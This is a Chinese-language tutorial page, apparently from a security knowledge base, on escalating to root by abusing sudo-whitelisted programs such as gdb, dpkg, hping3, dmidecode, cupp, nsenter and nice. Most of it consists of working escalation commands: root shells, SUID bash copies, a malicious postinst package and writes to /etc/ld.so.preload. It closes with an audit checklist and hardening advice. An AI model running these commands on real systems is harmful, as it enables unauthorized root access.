跳到主要内容

sudo 功能滥用提权(GTFOBins 实战)

sudo -l 允许执行的程序本身未必有 shell 选项,但程序的次要功能——读文件、写文件、构造软件包、进入解释器、切换 namespace——经常能组合出提权路径。实战思路是把白名单程序按功能分类,逐类套用 GTFOBins 收录的滥用模式。枚举流程见 Linux 提权方法与检查清单,脚本逻辑缺陷见 sudo Shell 脚本逻辑缺陷提权


sudo -l 输出判读四要素

要素关注点
可执行程序程序名与路径,逐个到 GTFOBins 查滥用条目
NOPASSWD免密意味着可以反复触发、稳定复现
参数限制固定参数、限定前缀,还是完全任意参数
(ALL) / (user)目标身份:直接到 root,还是先落到某个中间用户

文件读取类

wfuzz 可以把本地文件内容作为 payload 注入请求,文件内容会出现在结果表中:

sudo wfuzz -z file,/root/root.txt --hc 404 http://127.0.0.1/FUZZ

注意 FUZZ 占位符不能出现在 -z file, 的路径里。探测未知文件名时,用 for i in $(seq 0 200) 循环拼路径后逐个调用。


命令执行类

gdb 可以内嵌 Python 解释器。注意 !command 方式生成的子进程会丢弃特权,必须走 Python setuid

sudo gdb -nx -ex 'python import os; os.setuid(0); os.system("/bin/sh")' -ex quit

hping3 带参数启动会进入 Tcl 解释器,用 exec 执行命令,之后运行 /tmp/rb -p 获得 SUID bash:

exec cp /bin/bash /tmp/rb
exec chmod 4755 /tmp/rb

软件包类:dpkg

dpkg-deb --build 可以构造含 DEBIAN/postinst 的恶意 deb,sudo dpkg -i 安装时 postinst 以 root 执行,事后构造清理包卸载残留:

mkdir -p evil/DEBIAN
printf '#!/bin/sh\ncp /bin/bash /tmp/rootbash\nchmod 4755 /tmp/rootbash\n' > evil/DEBIAN/postinst
chmod 755 evil/DEBIAN/postinst
dpkg-deb --build evil
sudo dpkg -i evil.deb

任意写类

dmidecode 支持 --no-sysfs -d FILE --dump-bin TARGET,可以把任意输入文件写到任意目标路径。配合伪造的 SMBIOS 镜像,可以覆盖 /etc/passwd 这类解析器容错的文件。

cupp 交互模式 -i 的 First name 就是输出文件名,且没有路径限制。配合软链接可以把内容写进敏感文件,例如 First name 填 p 时,输出 p.txt 经软链接落到 /etc/ld.so.preload

ln -sf /etc/ld.so.preload /home/user/p.txt
sudo cupp -i

namespace 类

# nsenter:进入 PID 1 的全部 namespace
sudo nsenter -t 1 -m -u -i -n -p /bin/sh
# ip netns:以 root 启动子命令
sudo ip netns add p
sudo ip netns exec p /bin/sh

路径解析缺陷与横向移动

sudoers 的白名单匹配发生在路径解析之前,通配符路径可以穿越白名单:

sudo /bin/nice /notes/../bin/bash -c id

sudo -u <user> <binary> 还可以用任意程序为中间用户干活。例如中间用户 silco 的文件普通用户读不了,可以借 base58 编码读出内容,再在本地 base58 -d 解码:

sudo -u silco base58 /home/silco/secret > encoded.txt
base58 -d encoded.txt

审计清单

  1. 白名单程序逐个查 GTFOBins,确认是否存在读、写、执行、解释器类条目。
  2. 参数是否可控:能控制参数就能控制功能走向。
  3. sudoers 是否限定程序路径,匹配顺序是否可被 ../ 这类路径穿越利用。
  4. sudo 版本与 env_resetsecure_path 等环境选项状态。

防御建议

  1. sudo 白名单最小化,只保留业务必需程序。
  2. 固定参数,禁止用户控制选项与路径类参数。
  3. 优先自研受限包装器,替代把通用工具放进白名单。
  4. 及时升级 sudo,关注路径解析与匹配相关的安全修复。